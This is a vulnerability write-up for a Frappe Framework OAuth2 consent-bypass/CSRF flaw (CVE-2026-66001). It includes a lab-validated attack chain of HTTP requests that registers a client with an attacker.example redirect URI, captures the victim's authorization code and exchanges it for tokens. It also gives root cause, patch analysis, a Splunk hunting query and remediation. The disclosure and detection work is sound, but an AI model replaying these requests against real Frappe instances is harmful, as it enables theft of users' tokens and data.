Summary

FieldValue
CVE IDCVE-2026-66001
AdvisoryGHSA-2ph8-x773-8p2x
Vulnerability TypeOAuth2 Consent Bypass / Cross-Site Request Forgery
CWECWE-352: Cross-Site Request Forgery
Attack VectorNetwork
CVSS v4.0 Base Score8.5 (High)
CVSS v4.0 VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
Affected VersionsFrappe < 15.114.0; 16.0.0-beta.1 through 16.25.x
Patched Versions15.114.0 and 16.26.0
Publicly Credited ReportersDerekHaber and Mohammed Alzahrani (mzalzahrani)
Remediation DeveloperAarDG10

Executive Summary

Frappe Framework contained an improper authorization weakness in its OAuth2 consent flow. In the attack path I validated, an unauthenticated attacker could register an OAuth client when Dynamic Client Registration was enabled, then direct a logged-in victim to the OAuth approval endpoint. The vulnerable endpoint could issue an authorization code and redirect it to the attacker’s registered callback without requiring the victim to complete the expected consent confirmation.

The attacker could then exchange the authorization code for access and refresh tokens and interact with the Frappe API using the victim’s permissions. If the victim held a privileged role such as System Manager, the resulting confidentiality and integrity impact could be substantial.

I discovered and tested this behavior only in my own isolated ERPNext/Frappe laboratory and coordinated disclosure with the Frappe security team. The public advisory credits both DerekHaber and me as reporters.

Affected Components

The vulnerable OAuth2 logic was located primarily in:

  • frappe/integrations/oauth2.py
  • frappe/templates/includes/oauth_confirmation.html
  • OAuth client and bearer-token handling used by the authorization flow

My testing used:

  • Frappe Framework 16.24.3
  • ERPNext 16.25.0
  • The frappe/erpnext:v16.25.0 Docker image

Attack Preconditions

The lab-validated path required the following conditions:

  1. The target exposed Frappe’s OAuth2 endpoints.
  2. Dynamic Client Registration was enabled, allowing the attacker to create an OAuth client with a controlled redirect URI.
  3. The victim had an active authenticated Frappe session.
  4. The victim visited an attacker-supplied authorization URL.

The attacker did not need an existing Frappe account for the initial client-registration step in this scenario. User interaction was still required because the victim’s browser had to follow the crafted link while authenticated.

Lab-Validated Attack Chain

1. Register an OAuth client

The attacker submits an unauthenticated request to the dynamic registration endpoint:

POST /api/method/frappe.integrations.oauth2.register_client
Content-Type: application/json

{
  "client_name": "security-test-client",
  "redirect_uris": ["https://attacker.example/callback"]
}

The server returns a client identifier and secret for the attacker-controlled callback.

2. Trigger the vulnerable approval flow

The victim is directed to the approval endpoint with the attacker’s client ID and redirect URI:

GET /api/method/frappe.integrations.oauth2.approve
    ?response_type=code
    &client_id=<CLIENT_ID>
    &redirect_uri=https%3A%2F%2Fattacker.example%2Fcallback
    &scope=all
    &state=<STATE>

In the vulnerable version, the victim’s authenticated browser could receive an immediate redirect to the attacker-controlled callback containing an authorization code. During my test, no consent confirmation page was displayed.

3. Exchange the authorization code

The attacker submits the captured code to the token endpoint:

POST /api/method/frappe.integrations.oauth2.get_token
Content-Type: application/x-www-form-urlencoded

grant_type=authorization_code&
code=<AUTHORIZATION_CODE>&
redirect_uri=https%3A%2F%2Fattacker.example%2Fcallback&
client_id=<CLIENT_ID>&
client_secret=<CLIENT_SECRET>

The vulnerable flow returns OAuth access and refresh tokens associated with the victim.

4. Access the API as the victim

The resulting bearer token can be presented to authenticated Frappe API endpoints:

Authorization: Bearer <ACCESS_TOKEN>

The effective access is limited by the victim’s Frappe permissions and the granted OAuth scopes. A privileged victim therefore creates a much higher-impact outcome.

Root Cause

The published CVE and remediation identify three related authorization-flow weaknesses:

  1. The OAuth approve operation was not restricted to POST, allowing state-changing approval through a direct GET request.
  2. The consent form did not submit a Frappe CSRF token.
  3. The existing active-token check used by automatic authorization was not scoped to the requesting OAuth client.

Together, these conditions weakened the boundary between displaying a consent decision and actually issuing authorization material. Dynamic Client Registration increased the practicality of my demonstrated attack path by giving an unauthenticated attacker a valid client and controlled redirect URI.

Security Impact

Successful exploitation could allow an attacker to:

  • Obtain OAuth access and refresh tokens representing the victim
  • Read data accessible through the victim’s API permissions
  • Perform state-changing API actions within the granted scopes
  • Retain access through a refresh token until it is revoked or otherwise invalidated
  • Escalate the business impact when the targeted user has administrative privileges

The vulnerability does not independently grant more permissions than the victim possesses. Its severity comes from silently converting an authenticated browser session into attacker-controlled OAuth authorization material.

Patch Analysis

Frappe hardened the OAuth flow by:

  • Restricting approve to POST
  • Replacing navigation-based approval with a proper HTML form submission
  • Adding a CSRF token to the consent form
  • Issuing automatic authorization directly only when the configured skip-authorization policy permits it
  • Scoping the active bearer-token lookup to the specific requesting OAuth client

The primary fix was merged in frappe/frappe#40073 and backported through #40700 and #40701.

Detection and Threat Hunting

Defenders should review reverse-proxy, application, and database audit records for this sequence:

  1. A POST to frappe.integrations.oauth2.register_client
  2. A direct GET to frappe.integrations.oauth2.approve
  3. A POST to frappe.integrations.oauth2.get_token
  4. Subsequent API activity authenticated with a newly issued bearer token

High-value indicators include newly registered clients with unfamiliar external redirect domains, scope=all, approval requests targeting privileged users, and registration-to-token sequences occurring within a short time window.

Example Splunk hunt for normalized web-proxy fields:

index=frappe sourcetype=web:access
(
  uri_path="/api/method/frappe.integrations.oauth2.register_client" OR
  uri_path="/api/method/frappe.integrations.oauth2.approve" OR
  uri_path="/api/method/frappe.integrations.oauth2.get_token"
)
| eval oauth_stage=case(
    like(uri_path, "%register_client"), "client_registration",
    like(uri_path, "%approve"), "approval",
    like(uri_path, "%get_token"), "token_exchange"
  )
| stats earliest(_time) as first_seen latest(_time) as last_seen
        values(oauth_stage) as stages values(http_method) as methods
        values(status) as statuses values(user_agent) as user_agents
        by src_ip, session_id
| where mvcount(stages) >= 2
| convert ctime(first_seen) ctime(last_seen)

Field names should be adapted to the organization’s proxy or SIEM schema. Frappe administrators should also inventory OAuth Client and OAuth Bearer Token records, validate redirect URIs, identify unexpected privileged-user grants, and revoke suspicious clients and tokens.

MITRE ATT&CK Context

The following behavioral mappings may help structure detection coverage; they are analytical mappings rather than assignments made by the vendor advisory:

  • T1566.002 — Phishing: Spearphishing Link: delivery of the crafted OAuth approval URL
  • T1528 — Steal Application Access Token: acquisition of OAuth access and refresh tokens
  • T1550.001 — Use Alternate Authentication Material: Application Access Token: use of the issued bearer token to access Frappe APIs

Remediation

Upgrade immediately to a patched Frappe Framework release:

  • 15.114.0 or later for the version 15 branch
  • 16.26.0 or later for the version 16 branch

The vendor advisory states that no workaround is available. Where an immediate upgrade is temporarily impossible, defenders should reduce exposure by disabling unneeded Dynamic Client Registration, restricting access to OAuth endpoints at the reverse proxy, reviewing registered redirect URIs, and revoking unknown OAuth clients and bearer tokens. These are compensating controls, not substitutes for patching.

Disclosure and Exploitation Status

  • Vendor fix merged and backported: July 9, 2026
  • CVE reserved: July 23, 2026
  • GitHub Security Advisory published: August 10, 2026
  • CVE published: August 20, 2026
  • Public severity: CVSS 4.0 8.5 High
  • Public evidence of exploitation in the wild: none identified in the sources reviewed as of September 7, 2026

References


Discovered and responsibly reported by Mohammed Alzahrani (mzalzahrani), with public advisory credit shared with DerekHaber. Remediation was developed by AarDG10 and the Frappe team.